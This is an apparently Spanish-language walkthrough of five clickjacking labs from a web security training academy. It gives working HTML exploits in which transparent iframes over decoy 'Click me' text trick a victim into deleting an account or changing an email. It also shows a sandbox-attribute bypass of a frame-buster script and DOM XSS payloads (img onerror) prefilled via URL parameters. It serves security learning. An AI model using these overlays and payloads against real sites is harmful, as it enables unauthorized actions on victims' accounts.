# Clickjacking

## Lab: Basic clickjacking with CSRF token protection

### Enunciado

**Este laboratorio contiene una funcionalidad de inicio de sesión y un botón para eliminar la cuenta que está protegido con un token CSRF.** Un usuario **hará clic en elementos que muestren la palabra "click" en un sitio web señuelo. Crea un código HTML que incluya la página de cuenta en un iframe y engañe al usuario para que elimine su cuenta.** El laboratorio se considera resuelto **cuando la cuenta sea eliminada.**

**Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:**

* **Usuario:** `wiener`
* **Contraseña:** `peter`

> La víctima usará **Chrome**, así que prueba tu exploit en **ese navegador**.

### Resolución

Nos logueamos. Viendo el código fuente nos damos cuenta que hay CSRF token para intentar prevenir ese ataque. Vamos a hacer un `<iframe>` y un texto para hacer click.

```
<html>
    <head>  
        <style type="text/css">
            #targetWebsite {
                position:relative;
                width:700px;
                height:700px;
                opacity:0.0001;
                z-index:2;
            }

            #decoyWebsite {
                position:absolute;
                top:495px;
                left:60px;
                z-index:1;
            }
        </style>
    </head>
    <body>
        <div id="decoyWebsite">Click me</div>
        <iframe id="targetWebsite" src="https://0aae00b0048a89418005035e00c30052.web-security-academy.net/my-account"></iframe>
    </body>
</html>

```

Vemos el exploit y se sitúa correctamente para el botón de eliminar cuenta de manera simulada.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FghrRMm12Rwnf7jAeneLm%2Fimage.png?alt=media&#x26;token=e613892f-b055-4eee-810b-be8615ed6af1" alt=""><figcaption></figcaption></figure>

Lo enviamos a la víctima.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5dFyGeuCzYumKmllEwm7%2Fimage.png?alt=media&#x26;token=ed736f3b-dd45-442a-b0b3-0caaf0f6cd91" alt=""><figcaption></figcaption></figure>

## Lab: Clickjacking with form input data prefilled from a URL parameter

### Enunciado

**Este laboratorio amplía el ejemplo básico de clickjacking del laboratorio: Basic clickjacking with CSRF token protection.**

El objetivo del laboratorio es **cambiar la dirección de correo electrónico del usuario** prellenando un formulario mediante un parámetro en la URL y **convenciendo al usuario para que haga clic inadvertidamente en un botón de "Update email".**

**Crea un código HTML que incluya la página de cuenta en un iframe y engañe al usuario para que actualice su dirección de correo electrónico al hacer clic en un señuelo con el texto "Click me".** El laboratorio se considera resuelto **cuando la dirección de correo electrónico haya sido cambiada.**

**Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:**

* **Usuario:** `wiener`
* **Contraseña:** `peter`

> La víctima usará **Chrome**, así que asegúrate de probar tu exploit en **ese navegador**.

### Resolución

Nos logueamos. En este laboratorio tenemos que actualizar el email.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfiqzimLYxcOQHM1FYMGh%2Fimage.png?alt=media&#x26;token=25090ea8-5d42-4aad-931f-6873e9e8f478" alt=""><figcaption></figcaption></figure>

Nos damos cuenta que podemos rellenar el campo email como una petición GET.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqELaI5250Q01ojFF4hOj%2Fimage.png?alt=media&#x26;token=2f876198-fa92-4866-af50-e3c640123ed8" alt=""><figcaption></figcaption></figure>

Esta vez lo hacemos con Burp Clickbandit. Copiamos y lo pegamos en la Dev Tools.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FptyO65BEMCPfpYhBMhBf%2Fimage.png?alt=media&#x26;token=3083b471-e47e-4edd-b221-8d5c80e8b6b7" alt=""><figcaption></figcaption></figure>

Seleccionamos start y el botón de actualizar el email. Terminamos y guardamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F81thTXDD0xjqQBZPEWWS%2Fimage.png?alt=media&#x26;token=aec55821-e043-4cc3-9c76-624b7aa5d2b0" alt=""><figcaption></figcaption></figure>

Con el código dado lo enviamos a la víctima. También de manera manual sería así.

```
<!DOCTYPE html>
<html>
<head>
    <style>
        .target {
            position: relative;
            z-index: 2;
            height: 600px;
            width: 1000px;
            opacity: 0.00001337;
        }.decoy {
            position: absolute;
            z-index: 1;
            top: 465px;
            left: 50px;
        }
    </style>
</head><body>
    <iframe class="target" src="https://0a7f00e804d54781a2b5b92300e9007c.web-security-academy.net/my-account?email=hola@hola.com" ></iframe>
    <div class="decoy">click here</div>
</body></html>
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdXVX7QIFB3Q0grKcivIK%2Fimage.png?alt=media&#x26;token=f8550eb4-5432-4d32-b50c-cc460be88da3" alt=""><figcaption></figcaption></figure>

## Lab: Clickjacking with a frame buster script

### Enunciado

**Este laboratorio está protegido con un&#x20;**_**frame buster**_**&#x20;que evita que el sitio web se pueda mostrar en un iframe. Crea un código HTML que incluya la página de cuenta en un iframe y engañe al usuario para que cambie su dirección de correo electrónico al hacer clic en un señuelo con el texto "Click me".** El laboratorio se considera resuelto **cuando la dirección de correo electrónico haya sido cambiada.**

**Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:**

* **Usuario:** `wiener`
* **Contraseña:** `peter`

### Resolución

Nos logueamos y vemos el código fuente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQRaSl5DSSu788WTsw8iB%2Fimage.png?alt=media&#x26;token=ea089297-873b-417b-a692-5f6d2a552f53" alt=""><figcaption></figcaption></figure>

Aquí vemos que hay un código JavaScript que **verifica si la ventana actual es la principal (top)**.

Si **no está en la ventana superior**, **bloquea el contenido** para evitar ser cargado en un iframe. **Esta técnica se llama “Frame busting”.**

Para **evadirla**, podemos usar el atributo **sandbox** de HTML5:

```html
<iframe src="https://victim-website.com" sandbox="allow-forms"></iframe>
```

Si **omitimos** `allow-top-navigation` pero permitimos `allow-forms` o `allow-scripts`, **el frame buster no puede verificar si está en top**, quedando neutralizado.

Con esta técnica, podemos **crear un sitio falso que engañe al usuario para que actualice su email al hacer clic en "Click me"**.

Para **prellenar la dirección de email**, simplemente usamos un **parámetro GET**: `email`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fz9Kr9BywKe46UJzG09Km%2Fimage.png?alt=media&#x26;token=0edcb219-0049-4933-84f1-2cefcc55f091" alt=""><figcaption></figcaption></figure>

```
<html>
    <head>
        <style type="text/css">
            #targetWebsite {
                position:relative;
                width:700px;
                height:700px;
                opacity:0.0001;
                z-index:2;
            }

            #decoyWebsite {
                position:absolute;
                top:450px;
                left:75px;
                z-index:1;
            }
        </style>
    </head>
    <body>
        <div id="decoyWebsite">Click me</div>
        <iframe id="targetWebsite" src="https://0a070031032b0c1780129964000a0090.web-security-academy.net/my-account?email=prueba@prueba.com" sandbox="allow-forms"></iframe>
    </body>
</html>
```

Enviamos a la víctima.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYMba6qg6771hSAlj5uQT%2Fimage.png?alt=media&#x26;token=67842feb-124e-4943-81f8-1c6b4afae855" alt=""><figcaption></figcaption></figure>

## Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS

### Enunciado

Este laboratorio contiene una vulnerabilidad XSS que se activa al hacer clic. Construye un ataque de clickjacking que engañe al usuario para que haga clic en el botón "Click me" y ejecute la función `print()`.

> La víctima usará **Chrome**, así que asegúrate de **probar tu exploit en ese navegador**.

### Resolución

Enviamos un mensaje.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmxwUgf4KezCl1xkqWRCf%2Fimage.png?alt=media&#x26;token=e2c2449f-0e89-4d81-b088-95ebb50f9b85" alt=""><figcaption></figcaption></figure>

Al ver el código fuente nos damos cuenta de un script en JS.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXPBf2nRM03Z84OL4EJoF%2Fimage.png?alt=media&#x26;token=a71f692c-2cbe-440b-b6d6-22c1ab3240b4" alt=""><figcaption></figcaption></figure>

Aquí la función **displayFeedbackMessage(name)** es interesante:

```javascript
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
```

Usa **innerHTML** (una función peligrosa) y **el input del usuario se inserta directamente sin codificación ni validación**.

Si el back-end **no valida la entrada**, es muy probable que sea vulnerable a **XSS basado en DOM**.

```html
<img src=errorpls onerror=alert(document.domain)>
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4vhl6AIxegujaI17r79T%2Fimage.png?alt=media&#x26;token=e69c7052-8e41-49d5-aa35-e9750aaacff2" alt=""><figcaption></figcaption></figure>

Ahora podemos **combinar XSS basado en DOM con clickjacking**.

Primero, necesitamos **prellenar el payload de XSS** usando un parámetro GET junto con los demás campos requeridos:

```
/feedback?name=<img src=errorpls onerror=print()>&email=prueba@prueba.com&subject=subject&message=message
```

Así insertamos el payload directamente en el campo **name** para activar el XSS.

```
<style>
 iframe {
  position:relative;
  width: 1000px;
  height: 900px;
  opacity: 0.000001;
  z-index: 2;
 }
 div {
  position:absolute;
  top: 815px;
  left: 40px;
  z-index: 1;
 }
</style>
<div>Click Here to Login</div>
<iframe
src="https://0a6400a104b73b46801e443800140005.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=prueba@prueba.com&subject=test&message=test#feedbackResult"></iframe>
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRd6nq7usrfQGUlKnnqR3%2Fimage.png?alt=media&#x26;token=15eef191-1394-4283-962a-52b0deb8dac6" alt=""><figcaption></figcaption></figure>

## Lab: Multistep clickjacking

### Enunciado

**Este laboratorio tiene una funcionalidad de cuenta protegida con un token CSRF y también con un cuadro de diálogo de confirmación para evitar ataques de Clickjacking. Construye un ataque que engañe al usuario para que haga clic en el botón de eliminar cuenta y luego en el cuadro de confirmación, usando las acciones señuelo "Click me first" y "Click me next".** Necesitarás **dos elementos** para este laboratorio.

**Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:**

* **Usuario:** `wiener`
* **Contraseña:** `peter`

> La víctima usará **Chrome**, así que asegúrate de **probar tu exploit en ese navegador**.

### Resolución

Nos logueamos y vemos que para eliminar la cuenta hay que también confirmar por lo que hay que realizar dos movimientos.

```
<style>
	iframe {
		position:relative;
		width:500px;
		height: 700px;
		opacity: 0.5;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:495px;
		left:50px;
		z-index: 1;
	}
   .secondClick {
		top:285px;
		left:200px;
	}
</style>
<div class="firstClick">Click first</div>
<div class="secondClick">Click next</div>
<iframe src="https://0a9f00a704358e9b8094f35f0073009c.web-security-academy.net/my-account"></iframe>
```

Enviamos a la víctima.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaV3yQg1x00X2xGz7t3CJ%2Fimage.png?alt=media&#x26;token=c88f9092-5ffe-4447-8e8b-a488f3bde747" alt=""><figcaption></figcaption></figure>
